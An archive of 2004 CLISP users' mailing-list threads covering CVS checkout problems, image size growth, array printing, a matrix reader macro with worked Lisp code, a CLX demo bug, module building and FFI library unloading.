Maybe that's becoming a FAQ: Did you start clisp with e.g. clisp -K full instead of base?

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> * Joe Corneli <wpbearyv@zngu.hgrknf.rqh> [2004-03-07 23:14:42 -0600]:
>
> in the CVS tarball on the clisp home page, everything has a `,v'
> suffix.

that's the CVS files - in case you want to create your own CVS CLISP
repository.  read <http://www.cvshome.org>

> and/or is there a better way to "check clisp out of cvs" than
> downloading this tarball?

<http://sourceforge.net/cvs/?group_id=1355>

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   > and/or is there a better way to "check clisp out of cvs" than
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   <http://sourceforge.net/cvs/?group_id=1355>

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  <http://sourceforge.net/cvs/?group_id=1355>

Following the instructions posted there resulted in this -
please advise --

[~]% cvs -d:pserver:anonymous@cvs.sourceforge.net:/cvsroot/clisp login
(Logging in to anonymous@cvs.sourceforge.net)
CVS password: 
[~]% cvs -z3 -d:pserver:anonymous@cvs.sourceforge.net:/cvsroot/clisp co clisp
cvs checkout: in directory .:
cvs [checkout aborted]: *PANIC* administration files missing


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[I have to do more testing and provide a tiny test case that reproduces
this problem.]

Suppose you have a program that builds as a CLISP image, and you have a
feature in that program whereby it can regenerate itself using sources
and write a new image of itself.

When you repeatedly invoke this feature, you get a successively larger
and larger image, as reported by the figures printed by SAVEINITMEM.

This happens even though garbage collection is done just before calling
by calling (GC) just before (SAVEINITMEM).

In my program, I actually do a DELETE-PACKAGE before re-loading the
modules into the image, so that no symbolic references remain to any of
the top-level functions and variables. So the growth is not from things
like DEFVARS that still have old values, not replaced by the reloading.



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> * Joe Corneli <wpbearyv@zngu.hgrknf.rqh> [2004-03-08 16:01:44 -0600]:
>
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> please advise --
>
> [~]% cvs -d:pserver:anonymous@cvs.sourceforge.net:/cvsroot/clisp login
> (Logging in to anonymous@cvs.sourceforge.net)
> CVS password: 
> [~]% cvs -z3 -d:pserver:anonymous@cvs.sourceforge.net:/cvsroot/clisp co clisp
> cvs checkout: in directory .:
> cvs [checkout aborted]: *PANIC* administration files missing

I cannot reproduce this.
please try again.
if the problem persists, please file a SourceForge support request
(not a CLISP one, but for the SF site!)

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OK, I figured out how to use the tarball from the webpage.  It might
be helpful to include a 3 line README.CLISP-CVS like this along with
the tarball

To use this, untar to produce a directory called "clisp" and then,
setenv CVSROOT <full_path_to_that_directory>
cvs checkout clisp


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Could this be made prettier?

[1]> (make-array '(3 3) :initial-contents '((1 2 3) (4 5 9) (7 8 6)))
#2A((1 2 3) (4 5 9) (7 8 6))


Something like this?

[nnn]> (make-array '(3 3) :initial-contents '((1 2 3) (4 5 9) (7 8 6)))
#2A((1 2 3) 
    (4 5 9) 
    (7 8 6))

Actually, I would have expected the latter to be what would be
printed after reading the thread begun by Bruno Haible on Wed, 28
Jan 2004.  BTW, I have

> *print-pretty*
T



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Kaz Kylheku writes:
> In my program, I actually do a DELETE-PACKAGE before re-loading the
> modules into the image, so that no symbolic references remain to any of
> the top-level functions and variables. So the growth is not from things
> like DEFVARS that still have old values, not replaced by the reloading.

That's the problem!  You  believe there remain no symbolic references.
But  symbols are not  necessarily garbage  collected just  because you
delete their home package!

You  would have  to set  to nil  any place  that keep  a  reference to
anything  leading to  stuff  "inside"  the package  to  really get  it
garbage collected.

[52]> (defpackage :test)
#<PACKAGE TEST>
[53]> (defun test::fun (x) (format t "from test:fun: ~A~%" x))
TEST::FUN
[54]> (defparameter c (let ((x 42)) (lambda (z) (format t "from closure: ~A~%" z) (test::fun (incf x)))))
C
[55]> c
#<CLOSURE :LAMBDA (Z) (FORMAT T "from closure: ~A~%" Z) (TEST::FUN (INCF X))>
[56]> (funcall c 2)
from closure: 2
from test:fun: 43
NIL
[57]> (delete-package :test)
T
[58]> (funcall c 2)
from closure: 2
from test:fun: 44
NIL
[59]> (ext:gc)
886018
[60]> c
#<CLOSURE :LAMBDA (Z) (FORMAT T "from closure: ~A~%" Z) (#:FUN (INCF X))>
[61]> 


And of  course, all symbols (such  as symbols in  the deleted package)
referenced by the orphan function are still kept:

[66]> (symbol-function (first (fourth (function-lambda-expression c))))
#<CLOSURE #:FUN (X) (DECLARE (SYSTEM::IN-DEFUN #:FUN))
  (BLOCK #:FUN (FORMAT T "from test:fun: ~A~%" X))>


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Joe Corneli writes:
> 
> Could this be made prettier?
> 
> [1]> (make-array '(3 3) :initial-contents '((1 2 3) (4 5 9) (7 8 6)))
> #2A((1 2 3) (4 5 9) (7 8 6))
> 
> 
> Something like this?
> 
> [nnn]> (make-array '(3 3) :initial-contents '((1 2 3) (4 5 9) (7 8 6)))
> #2A((1 2 3) 
>     (4 5 9) 
>     (7 8 6))
> 
> Actually, I would have expected the latter to be what would be
> printed after reading the thread begun by Bruno Haible on Wed, 28
> Jan 2004.  BTW, I have
> 
> > *print-pretty*
> T

I think it's pretty enough to print it on one line when possible. 

[72]> (make-array '(6 6 ) :initial-element 1)
#2A((1 1 1 1 1 1)
    (1 1 1 1 1 1)
    (1 1 1 1 1 1)
    (1 1 1 1 1 1)
    (1 1 1 1 1 1)
    (1 1 1 1 1 1))

[73]> (make-array '(5 5) :initial-element 1)
#2A((1 1 1 1 1) (1 1 1 1 1) (1 1 1 1 1) (1 1 1 1 1) (1 1 1 1 1))

In any case, specific output functions are needed, because in general
you don't write your matrices as:

 #2A((1 2 3) 
     (4 5 9) 
     (7 8 6))

but as:

    [ 1 4 7 ]
    [ 2 5 8 ]
    [ 3 6 9 ]

anyway.


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Hello everyone,

Is there a CLISP guru who would be willing to help me with getting some
macro code to work w/ CLISP?

I have taken some macro code from the Matlisp project (which uses special
FORTRAN-style matrices for LAPACK/BLAS) and ported it to use regular
Lisp arrays instead.

Specifically, the code in question is a macro so that [2 3 ; 4 5]
is read as #2A((2 3)(4 5)).

After crawling through the relevant code (without entirely
understanding how it works) I managed to get it working with CMUCL.

But what I really want it is to have it working in CLISP.

Basically, I'm trying to kludge together some various BSD-licensed pieces
of code to put together a small linear algebra package for Common
Lisp. I really like this feature of Matlisp, however, so I thought I'd
carry it along.




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Michael Graffam writes:
> 
> Hello everyone,
> 
> Is there a CLISP guru who would be willing to help me with getting some
> macro code to work w/ CLISP?
> 
> I have taken some macro code from the Matlisp project (which uses special
> FORTRAN-style matrices for LAPACK/BLAS) and ported it to use regular
> Lisp arrays instead.
> 
> Specifically, the code in question is a macro so that [2 3 ; 4 5]
> is read as #2A((2 3)(4 5)).
> 
> After crawling through the relevant code (without entirely
> understanding how it works) I managed to get it working with CMUCL.
> 
> But what I really want it is to have it working in CLISP.
> 
> Basically, I'm trying to kludge together some various BSD-licensed pieces
> of code to put together a small linear algebra package for Common
> Lisp. I really like this feature of Matlisp, however, so I thought I'd
> carry it along.

It would be  easier for us to help  you if we could see  the source of
this "macro", don't you think?


Actually, it  must be a  macro-character function assigned to  the #\[
character. I  don't see any reason  why it should not  work equally on
two implementations of Common-Lisp, that's pretty standard stuff...

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> * Joe Corneli <wpbearyv@zngu.hgrknf.rqh> [2004-03-08 18:51:24 -0600]:
>
> OK, I figured out how to use the tarball from the webpage.  It might
> be helpful to include a 3 line README.CLISP-CVS like this along with
> the tarball
>
> To use this, untar to produce a directory called "clisp" and then,
> setenv CVSROOT <full_path_to_that_directory>
> cvs checkout clisp

this is a _VERY_ bad idea: you get the snapshot but not subsequent updates.
if you want to use the bleeding edge, check out the CVS HEAD from SF.


the CVS repository tarball which you downloaded is there for backup
purposes only.

(you need it also if you work on CLISP and do not have a network connection...)

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   > To use this, untar to produce a directory called "clisp" and then,
   > setenv CVSROOT <full_path_to_that_directory>
   > cvs checkout clisp

   this is a _VERY_ bad idea: you get the snapshot but not subsequent updates.
   if you want to use the bleeding edge, check out the CVS HEAD from SF.

   the CVS repository tarball which you downloaded is there for backup
   purposes only.

   (you need it also if you work on CLISP and do not have a network connection...)

Since I couldn't get my machine to download from the SF CVS
repository, I essentially didn't have a network connection (to the
CVS repository).  

Anyway, a README describing the tarball's intended use wouldn't be a
bad thing - it could also give information on how to obtain the
bleeding edge sources.

By the way, I noticed that if I run the normal cvs checkout routine
from inside the directory I made via the above process, I get the
following, instead of a panic over missing administration files
(which I still get if I try the normal routine in the normal way).
I think this log is full of errors, but at least I was able to get
somewhere.

[~/clisp]% cvs -d:pserver:anonymous@cvs.sourceforge.net:/cvsroot/clisp login
(Logging in to anonymous@cvs.sourceforge.net)
CVS password:
[~/clisp]% cvs -z3 -d:pserver:anonymous@cvs.sourceforge.net:/cvsroot/clisp co clisp
cvs checkout: ignoring clisp (CVS/Repository missing)
cvs checkout: in directory clisp:
cvs checkout: cannot open CVS/Entries for reading: No such file or directory
cvs server: Updating clisp
U clisp/.cvsignore
U clisp/ANNOUNCE
U clisp/COPYRIGHT
U clisp/GNU-GPL
U clisp/INSTALL
U clisp/Makefile.devel
U clisp/SUMMARY
U clisp/clisp.lsm
U clisp/clisp.spec
U clisp/configure
cvs checkout: in directory clisp/acorn:
cvs checkout: cannot open CVS/Entries for reading: No such file or directory
cvs server: Updating clisp/acorn
cvs checkout: in directory clisp/amiga:
cvs checkout: cannot open CVS/Entries for reading: No such file or directory
cvs server: Updating clisp/amiga
cvs checkout: in directory clisp/amiga/jchlib:
cvs checkout: cannot open CVS/Entries for reading: No such file or directory
cvs server: Updating clisp/amiga/jchlib
cvs checkout: in directory clisp/amiga/jchlib/include:
cvs checkout: cannot open CVS/Entries for reading: No such file or directory
cvs server: Updating clisp/amiga/jchlib/include
cvs checkout: in directory clisp/amiga/jchlib/lib:
cvs checkout: cannot open CVS/Entries for reading: No such file or directory
cvs server: Updating clisp/amiga/jchlib/lib
cvs checkout: in directory clisp/amiga/jchlib/misc:
cvs checkout: cannot open CVS/Entries for reading: No such file or directory
cvs server: Updating clisp/amiga/jchlib/misc
cvs checkout: in directory clisp/amiga/jchlib/startup:
cvs checkout: cannot open CVS/Entries for reading: No such file or directory
cvs server: Updating clisp/amiga/jchlib/startup
cvs checkout: in directory clisp/benchmarks:
cvs checkout: cannot open CVS/Entries for reading: No such file or directory
cvs server: Updating clisp/benchmarks
U clisp/benchmarks/.cvsignore
cvs [checkout aborted]: cannot open CVS/Entries.Log: No such file or directory
[~/clisp]%


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> * Joe Corneli <wpbearyv@zngu.hgrknf.rqh> [2004-03-09 08:59:43 -0600]:
>
> [~/clisp]% cvs -z3 -d:pserver:anonymous@cvs.sourceforge.net:/cvsroot/clisp co clisp
> cvs checkout: ignoring clisp (CVS/Repository missing)

do 'rm -rf clisp' before this command.

PS. btw, what's the status of your effort to convert the final dpANS
draft into CLISP doc?

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   > [~/clisp]% cvs -z3 -d:pserver:anonymous@cvs.sourceforge.net:/cvsroot/clisp co clisp
   > cvs checkout: ignoring clisp (CVS/Repository missing)

   do 'rm -rf clisp' before this command.

OK, that looks to be just right.

   PS. btw, what's the status of your effort to convert the final dpANS
   draft into CLISP doc?

I am wrote to XANALYS to ask about the copyright status of these
documents (Pitman said they might know) and also to ask if they
might just release the HyperSpec under the FDL.  Haven't heard back
yet. I'll contact them again soon.


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Michael Graffam writes:
> Why this works in CMUCL but not CLISP continues to elude me. There
> seems to be some special-casing for Allegro and such too. Is this code
> just poorly written, or is stream I/O this finicky in CL?


I  don't know but  your code  looks quite  complicated.  Let  the lisp
reader do its work, and avoid concatenating strings like that!

I don't know that a #\^m is.  The carriage return is #\return, and the
line feed is \#linefeed.  You could include the page feed too (#\page).

Here is what I would use for null-string-p (if I needed it):

(defun null-string-p (s)
  (or (= 0 (length s))
      (not (find-if (lambda (ch) (not (member ch +space-list+))) s))))

I don't  see any reason why to  use the nohang functions.  You are not
doing dynamic user interaction while reading a matrix are you?


> (return-from parse-matrix-expression-1
>                 (list 'make-matrix-from-reader 
>                       (list 'quote (list n m)) 
>                       :initial-contents `(list ,@matrix-1)))))

Macro characters are not macros!  You don't return an expression to be
evaluated, you return the data item read.  





The  following implementation works  as well  in clisp  as in  sbcl or
cmucl. You  would have to  add computing of  element type. It  is much
less complicated  to compute the  dimension while reading  the matrix,
otherwise the  list where I  store the data  could be mixed  with data
lists.


(defconstant +space-list+ '(#\newline #\Return #\Linefeed #\space #\tab #\page))
;; Note, usually, I prefer to keep characters in strings,
;; and using POSITION instead of MEMBER.
;; It's just harder to come with a string literal containing these characters.


(defun looking-at (stream char)
  (loop
   (let ((next-char (read-char stream nil nil t)))
     (cond
      ((null next-char)     (return-from looking-at nil))
      ((eql next-char char) (return-from looking-at t))
      ((member next-char +space-list+ :test (function eql)))
      (t (unread-char next-char stream)
         (return-from looking-at nil))))));;looking-at
;; You'll tell me how this looking-at works on allegro!

       
(defun parse-matrix-expression (stream char)
  "
Parses a vector or a matrix.
array    --> '[' contents ']' .
contents --> row { ';' row } .
row      --> item { item } .
"
  (declare (ignore char))
  (multiple-value-bind (dimensions contents)
      (let ((nitems nil)
            (nrow   0)
            (rows   '())
            (items  '()))
        (loop
         (cond
          ((or (looking-at stream #\;) (looking-at stream #\,))
           (if (null nitems)
             (setf nitems (length items))
             (when (/= nitems (length items))
               (error "Different number of items in ~:R row; ~
                        expected ~D, found ~D" nrow nitems (length items))))
           (push (nreverse items) rows)
           (incf nrow)
           (setf items '()))
          ((looking-at stream #\])
           (when items (push (nreverse items) rows) (incf nrow))
           (return))
          (t (push (read stream t nil t) items))))
        (if (null nitems)
          (values (list (length (car rows))) (car rows))
          (values (list nrow nitems)         (nreverse rows))))
    (make-array dimensions :initial-contents contents)))


(set-macro-character #\] (get-macro-character #\) ))
(set-macro-character #\[ (function parse-matrix-expression))
;; Remember to re-evaluate this set-macro-character call after
;; modifying parse-matrix-expression!



(with-input-from-string  (in "a b c ; d e f ; [ 1 2 ; 3 4 ] g h ] ")
  (parse-matrix-expression in #\[))
--> #2A((A B C) (D E F) (#2A((1 2) (3 4)) G H))

(read-from-string  "( a matrix [ a b c ; d e f ; [ 1 2 ; 3 4 ] g h ] )")
--> (A MATRIX |:| #2A((A B C) (D E F) (#2A((1 2) (3 4)) G H))) ;
    54

(read-from-string  "( a vector [ a b c d e f ] )")
--> (A VECTOR #(A B C D E F)) ;
    28

(read-from-string  "( a vector [ (a b) (c d) (e f) ] )")
--> (A VECTOR #((A B) (C D) (E F))) ;
    34

(read-from-string  "( a matrix [ a b ; c d ; e f ] )")
--> (A MATRIX #2A((A B) (C D) (E F))) ;
    32


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On Tue, 9 Mar 2004, Pascal J.Bourguignon wrote:

> I  don't know but  your code  looks quite  complicated.  Let  the lisp
> reader do its work, and avoid concatenating strings like that!

Yeah, I'd have to agree with you there. The code in question is
essentially straight out of the Matlisp distribution. This was my first
exposure to Lisp macro characters (I like it!), and after getting the hang
of it a bit, I ended up re-writing the entire thing in a much simpler way
that works in CLISP, CMUCL and others.

> > (return-from parse-matrix-expression-1
> >                 (list 'make-matrix-from-reader
> >                       (list 'quote (list n m))
> >                       :initial-contents `(list ,@matrix-1)))))
>
> Macro characters are not macros!  You don't return an expression to be
> evaluated, you return the data item read.

Are you sure? I just finished writing a macro character that tried to
return a list, but which failed with an eval error -- so I ended up
inserting a quote in front of it all.

Or maybe I'm misunderstanding you.

> The  following implementation works  as well  in clisp  as in  sbcl or
> cmucl. You  would have to  add computing of  element type. It  is much
> less complicated  to compute the  dimension while reading  the matrix,
> otherwise the  list where I  store the data  could be mixed  with data
> lists.

Thanks! I look forward to studying it.

I must say, the more Lisp I learn, the more I like it and can't imagine
how I used other languages. I suppose this is the general consensus :)



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Michael Graffam writes:
> > > (return-from parse-matrix-expression-1
> > >                 (list 'make-matrix-from-reader
> > >                       (list 'quote (list n m))
> > >                       :initial-contents `(list ,@matrix-1)))))
> >
> > Macro characters are not macros!  You don't return an expression to be
> > evaluated, you return the data item read.
> 
> Are you sure? I just finished writing a macro character that tried to
> return a list, but which failed with an eval error -- so I ended up
> inserting a quote in front of it all.

Absolutely.

(set-macro-character #\$ (lambda (stream char) '(1 2 3)))
--> T
(read-from-string " $ ")
--> (1 2 3) ;
    2

(set-macro-character #\$ (lambda (stream char) '(+ 1 2 3)))
--> T
(read-from-string " $ ")
--> (+ 1 2 3) ;
    2

(set-macro-character
 #\$ (lambda (stream char)
       (let ((n 2) (m 3) (matrix-1 '('(1 2) '(a b) '(4 5))))
         (list 'make-matrix-from-reader
               (list 'quote (list n m))
               :initial-contents `(list ,@matrix-1))
         )))
--> T
(read-from-string  " $ ")
--> (MAKE-MATRIX-FROM-READER '(2 3) :INITIAL-CONTENTS (LIST '(1 2) '(A B) '(4 5))) ;
    2
(defparameter m (read-from-string  " $ "))
--> M
(aref m 1 1)
--> *** - AREF: (MAKE-MATRIX-FROM-READER '(2 3) :INITIAL-CONTENTS (LIST '(1 2) '(A B) '(4 5))) is not an array


> Or maybe I'm misunderstanding you.
> 
> > The  following implementation works  as well  in clisp  as in  sbcl or
> > cmucl. You  would have to  add computing of  element type. It  is much
> > less complicated  to compute the  dimension while reading  the matrix,
> > otherwise the  list where I  store the data  could be mixed  with data
> > lists.
> 
> Thanks! I look forward to studying it.
> 
> I must say, the more Lisp I learn, the more I like it and can't imagine
> how I used other languages. I suppose this is the general consensus :)

Indeed. 

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> > Are you sure? I just finished writing a macro character that tried to
> > return a list, but which failed with an eval error -- so I ended up
> > inserting a quote in front of it all.
>
> Absolutely.
>
> (set-macro-character #\$ (lambda (stream char) '(1 2 3)))
> --> T
> (read-from-string " $ ")
> --> (1 2 3) ;
>     2

Heh. And I thought I was confused before.

Ok, so why the (apparent) different in behavior between read-from-string
and the REPL? Observe:

[14]> (set-macro-character #\$ (lambda (stream char) '(1 2 3)))
T

[17]> (read-from-string "$")
(1 2 3) ;
1

Ok -- so far, so good. But:

[18]> $

*** - EVAL: 1 is not a function name

The returned item is being eval'd. This is OK for matrices, since the
matrix evals to itself, but when returning lists -- what to do?

In another application, I want {:a-line :line #(1 2 3) other stuff}
to expand to ((:label . :a-line) (:type . :line) (:anchor . #(1 2 3)) other
		stuff)

By inserting the quote as I described, I can successfully build my
a-lists using this form, which nicely saves a bit of repetative typing --
but sure enough, when used from read-to-string I get a leading ' which
isn't what I want.



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Michael Graffam writes:
> 
> > > Are you sure? I just finished writing a macro character that tried to
> > > return a list, but which failed with an eval error -- so I ended up
> > > inserting a quote in front of it all.
> >
> > Absolutely.
> >
> > (set-macro-character #\$ (lambda (stream char) '(1 2 3)))
> > --> T
> > (read-from-string " $ ")
> > --> (1 2 3) ;
> >     2
> 
> Heh. And I thought I was confused before.
> 
> Ok, so why the (apparent) different in behavior between read-from-string
> and the REPL? Observe:

Why do you think it's called a REPL?

Read Eval Print Loop!
     ^^^^
Of course (1 2 3) is not a function call, you cannot evaluate it!
If you typed directly (1 2 3) to the REPL you'd get the same error.

> [18]> $
> 
> *** - EVAL: 1 is not a function name

[19]> (1 2 3)
 
*** - EVAL: 1 is not a function name

> The returned item is being eval'd. This is OK for matrices, since the
> matrix evals to itself, but when returning lists -- what to do?

Read the data don't evaluate it!  You can evaluate only programs, not data.
 
> In another application, I want {:a-line :line #(1 2 3) other stuff}
> to expand to ((:label . :a-line) (:type . :line) (:anchor . #(1 2 3)) other
> 		stuff)
> 
> By inserting the quote as I described, I can successfully build my
> a-lists using this form, which nicely saves a bit of repetative typing --
> but sure enough, when used from read-to-string I get a leading ' which
> isn't what I want.

You should insert the quote in your input, not in the reader macro.
[112]> '$
(1 2 3)

 

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On Wed, 10 Mar 2004, Pascal J.Bourguignon wrote:

> Why do you think it's called a REPL?
>
> Read Eval Print Loop!
>      ^^^^

{ ... and then he was enlightened ... }

> You should insert the quote in your input, not in the reader macro.
> [112]> '$
> (1 2 3)

Yes. I realize now that I was implicitely trying to avoid exactly
that as I begin playing with set-macro-character. Matlisp allowed '[2 ; 3]
and [2 ; 3] and I was trying to mimick that.

Thanks for setting me straight.

Manually inserting the ' is the proper way.

Regards,

Mike



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<< this appears to be a bug.  we need to investigate it.
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[]> (load "qix.lisp")
[]> (in-package :xlib)
[]>(qix :host "k")  =3D>OK
[]>(user::load "hello.lisp")
[]>(hello-world "k")  =3D> class #<BUILT-IN-CLASS T> has no slot named FONT-=
INFO
BREAK> :tb
BREAK> :b      =3D> (TEXT-WIDTH FONT STRING)
after removing the line with this form and restarting:
(hello-world "k")      =3D> the same error
BREAK> :bt
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K


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Hi,

Pascal J.Bourguignon wrote:
>(defconstant +space-list+ '(#\newline #\Return #\Linefeed=20
>#\space #\tab #\page))
>;; Note, usually, I prefer to keep characters in strings,
>;; and using POSITION instead of MEMBER.
>;; It's just harder to come with a string literal containing=20
>these characters.

Uh? What about
(coerce '(#\newline #\Return #\Linefeed #\space #\tab #\page) 'string)

Come on, constant values in Lisp can be computed and result from =
complex computations, unlike preprocessor literals in C.

Ok, such string literals are not so nice when printed or while in the =
debugger, but that's not the reason you invoke.
"
^M
 	^L"

I agree that another case is slightly harder: a mixture of text and =
#\newline in between. E.g. I myself tend to dislike invoking FORMAT to =
achieve constant strings with embedded newlines like in
(defconstant +foo+ (format nil "First line~%Another line~%"))
But your example with only special characters does not fall into this =
category.

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Pascal Bourguignon answered to Michael Graffam who wrote:
>> In another application, I want {:a-line :line #(1 2 3) other stuff}
>> to expand to ((:label . :a-line) (:type . :line) (:anchor .=20
>#(1 2 3)) other stuff)
>>=20
>> By inserting the quote as I described, I can successfully build my
>> a-lists using this form, which nicely saves a bit of=20
>repetative typing --
>> but sure enough, when used from read-to-string I get a=20
>leading ' which
>> isn't what I want.

>You should insert the quote in your input, not in the reader macro.
>[112]> '$
>(1 2 3)

I believe Michael should query himself whether he may want his =
reader-macro to only work with literals or also with computed values. =
E.g. what should be supported among the following:

{:a-line :line #(123) other-stuff-only-literals}

{:a-line :line '#(123) other-stuff}

{:a-line :line (compute-my-array 'A) other-stuff}

(list #\a `(boy {:a-line :line ,(identity '#(1 2 3)) other-stuff} 456))

The macro expander will be different, due to the use of lists as the =
underlying representation.
If an array, a structure or an instance were used, some difference =
w.r.t. quoting might not appear, since ANSI requires self-evaluation =
for these.

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Hi,

ICMdesign wrote:
>SLIK(SImple Lisp Interface Kit ) from Ira Kalet is a toolkit=20
>using clos and=20
>clx.It is "smaller" than Garnet but has problems with clisp.=20


>....clisp-2.32/full/lisp.run -M ....clisp-2.32/full/lispinit.mem
>*** - FFI:: LOOKUP-FOREIGN-FUNCTION :a foreign function=20
>"glClearIndex" does not exist

Either this specific function is not in the loaded module, or the =
module is not loaded/available at all.
Again, please try out (EXT:MODULE-INFO) to obtain a list of modules in =
your clisp (provide output here if you wish).

Does anybody know what package the gl* prefix from glClearIndex() =
references? Is that Dan's GDI module? OpenGL? CLX?

>This SLIK package would be a good supplement to the CLOCC I think.
I cannot comment on that.

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	J=F6rg H=F6hle.


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> *  <VPZqrfvta@nby.pbz> [2004-03-10 02:01:06 -0500]:
>
> In einer eMail vom 06.03.04 16:29:55 (MEZ) Mitteleurop=C3=A4ische Zeit sc=
hreibt=20
> sds@gnu.org:
>
> << this appears to be a bug.  we need to investigate it.
>  please try the above commands, start with ":bt >>
> Hello,=20
> []> ....clisp-2.32/full/lisp.run -M ....clisp-2.32/full/lispinit.mem
> []> (cd "....clocc/src/gui/clx/demo")
> []> (load "qix.lisp")
> []> (in-package :xlib)
> []>(qix :host "k")  =3D>OK
> []>(user::load "hello.lisp")
> []>(hello-world "k")  =3D> class #<BUILT-IN-CLASS T> has no slot named FO=
NT-INFO
> BREAK> :tb
> BREAK> :b      =3D> (TEXT-WIDTH FONT STRING)
> after removing the line with this form and restarting:
> (hello-world "k")      =3D> the same error
> BREAK> :bt
> BREAK> :b           =3D> (DRAW-GLYPHS WINDOW GCONTEXT X Y STRING)

either this is not CLISP or you have edited both prompts and output.
please copy and paste everything.
if you are using interpreted code (which appears to be the case), you
can evaluate the arguments to DRAW-GLYPHS (window &c).
please do it.

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Hoehle, Joerg-Cyril writes:
> Hi,
> 
> Pascal J.Bourguignon wrote:
> >(defconstant +space-list+ '(#\newline #\Return #\Linefeed 
> >#\space #\tab #\page))
> >;; Note, usually, I prefer to keep characters in strings,
> >;; and using POSITION instead of MEMBER.
> >;; It's just harder to come with a string literal containing 
> >these characters.
> 
> Uh? What about
> (coerce '(#\newline #\Return #\Linefeed #\space #\tab #\page) 'string)

Nice!  Thank  you. Up to now  I used FORMAT  to do the same,  but this
sounds better.

> Come on, constant values in Lisp can be computed and result from
> complex computations, unlike preprocessor literals in C.
> 
> Ok, such string literals are not so nice when printed or while in
> the debugger, but that's not the reason you invoke.  " ^M ^L"
> 
> I agree that another case is slightly harder: a mixture of text and
> #\newline in between. E.g. I myself tend to dislike invoking FORMAT
> to achieve constant strings with embedded newlines like in
> (defconstant +foo+ (format nil "First line~%Another line~%"))
> But your example with only special characters does not fall into
> this category.
> 
> Regards,
> 	J�örg H�öhle.

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Hello -- 
 
 I just stumbled upon a good quantity of packages for CLISP that didn't seem 
to be documented in the CLISP site. 
 
ftp://ftp.gnu.org/pub/gnu/clisp/packages 
 
 Are they maintained, usable, or very old? 
 Why weren't they mentioned in the CLISP site? If they're used, shouldn't they 
have been mentioned? 
 
 Thanks. 
 
 Henry 
  
 



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Hi -- 
 
 Ok, fatal newbie question: how do I load an external module? 
 Is FastCGI included in the 2.32 release available at Sourceforge, by the way? 
Because all I have is:  
 
root@1[clisp-2.32]# ls 
ANNOUNCE   Makefile   README.es    bindings    doc      locale  syscalls 
COPYRIGHT  NEWS       SUMMARY      clisp-link  emacs    pcre 
GNU-GPL    README     base         clx         full     regexp 
MAGIC.add  README.de  berkeley-db  data        linkkit  src 
 
 Is see no POSIX either, nor Netica. 
 
 Thanks, 
 
 Henry 



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Hallo, All
Sam writes
>either this is not CLISP or you have edited both prompts and output.
CLISP lives on another computer so editing is easier for me, sorry
>please copy and paste everything.
>if you are using interpreted code (which appears to be the case), you
>can evaluate the arguments to DRAW-GLYPHS (window &c).
>please do it.
--------------

diff hello.lisp hello.lisp_original
<     (width 500)
>      (width (+ text-width font string) (* 2 border)))
----------------
Using the original hello.lisp CLISP gives the Break-prompt with the same 
message further described
In CLOCC/src/gui/clx/demo I do: 
....clisp-2.32/full/lisp.run -M .....clisp-2.32/full/lispinit.mem
[1]> (lisp-implementation-version)
"2.32(2003-12-29) built on burivuh[127.0.0.1]"
[2]> (load  "hello.lisp")
[3]> (in-package :xlib)
XLIB[4]>(hello-world "k")  ;;; the window named "HELLO_WORLD" appears 
*** - SLOT-VALUE: The class #<BUILT-IN-CLASS T> has no slot named FONT-INFO
Break 1 [5]> :b
EVAL frame for form (DRAW-GLYPHS WINDOW GCONTEXT X Y STRING)
Break 1 XLIB[5]> window
#<WINDOW 500x15+0+0 k #x01200002 #x203A86B5>
Break 1 XLIB[5]> gcontext
#>GCONTEXT #x203A8750
Break 1 XLIB[5]> x
0
Break 1 XLIB[5]> y
12
Break 1 XLIB[5]> string
"Hello World"


K


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> * Henry Lenzi <flagurfcvna@hby.pbz.oe> [2004-03-11 05:23:00 +0000]:
>
>  I just stumbled upon a good quantity of packages for CLISP that
> didn't seem to be documented in the CLISP site.
> ftp://ftp.gnu.org/pub/gnu/clisp/packages 

mentioned here
<http://clisp.cons.org/resources.html>

>  Are they maintained, usable, or very old? 

which specific package are you talking about?

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> * Henry Lenzi <flagurfcvna@hby.pbz.oe> [2004-03-11 05:38:10 +0000]:
>
>  Ok, fatal newbie question: how do I load an external module? 

get a source distribution, then
$ ./configure --with-module=netica --with-module=fastcgi --build build
$ ./build/clisp -K full

>  Is FastCGI included in the 2.32 release available at Sourceforge, by
>  the way?
yes.

> Because all I have is:  
>  
> root@1[clisp-2.32]# ls 
> ANNOUNCE   Makefile   README.es    bindings    doc      locale  syscalls 
> COPYRIGHT  NEWS       SUMMARY      clisp-link  emacs    pcre 
> GNU-GPL    README     base         clx         full     regexp 
> MAGIC.add  README.de  berkeley-db  data        linkkit  src 

this is a binary distribution, built without Netica or FastCGI.

>  Is see no POSIX either, nor Netica. 

syscalls is POSIX (AKA OS).
Netica is not built into this binary distribution.


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> *  <VPZqrfvta@nby.pbz> [2004-03-11 02:02:16 -0500]:
>
> XLIB[4]>(hello-world "k")  ;;; the window named "HELLO_WORLD" appears 
> *** - SLOT-VALUE: The class #<BUILT-IN-CLASS T> has no slot named FONT-INFO

I do not observer this with the CVS HEAD (and therefore this is fixed in
the next release.)

it appears that this bug was fixed on 2004-01-29.


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Hi,

Pieter asked in comp.lang.lisp about closing dynamic libraries:
> I am working on windows xp with clisp.
> 
> I just wrote a little dll with visual studio and I managed to do a 
> (ffi:def-call-out) on it. It loaded it right, executed the function 
> which I specified and I am extremely happy about it :)
> 
> My question: Is there a way to release this dll from within clisp or 
> lisp code? I recompiled the .dll and tried to copy it to the working 
> lisp directory, but couldn't because of the fact that the old .dll was 
> still in use.

CLISP doesn't come with a function to unlink a foreign library.
Yet I believe you could come up with code which achieves this goal if you can
1. find the MS-windows dll which contains the CloseLibrary (name?) call
2. invoke that with your #<foreign-pointer> to your .dll
3. invoke (setf (validp #<foreign-pointer to your library>) nil)

Basically, it's doing the job of unlinking the library by hand, using the FFI itself.

Next time FFI::FOREIGN-LIBRARY will be called (e.g. via
FFI:DEF-CALL-OUT), IIRC, CLISP should open the library again because it sees the defunct pointer.

[Could somebody kindly confirm privately that this e-mail to clisp-users also made it to the whole of the Usenet community reading comp.lang.lisp?]

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Hi,

I was wondering whether it would be a valuable enhancement request to =
beg for funcall'able instances.

Pascal Costanza recently wrote in comp.lang.lisp:
>The following is in LispWorks 4.3 for Mac OS X.
(defclass changeable-function ()
   ((clambda :accessor clambda :initarg :clambda))
   (:metaclass funcallable-standard-class))

Remember's me of Python's __call__ method, which can be added to any =
instance, resulting in a callable object.

So is there a way to have a user-defined instance (e.g. it has slots I =
can define) that's a user-definable function at the same time, in =
CLISP?

I had thought about uses of such things, when the primary use of a =
"thing" was as a closure (I mean I'm working functionaly most of the =
time), but also some separate call could alter the closure's state =
(breaking the functional paradigm from times to times).

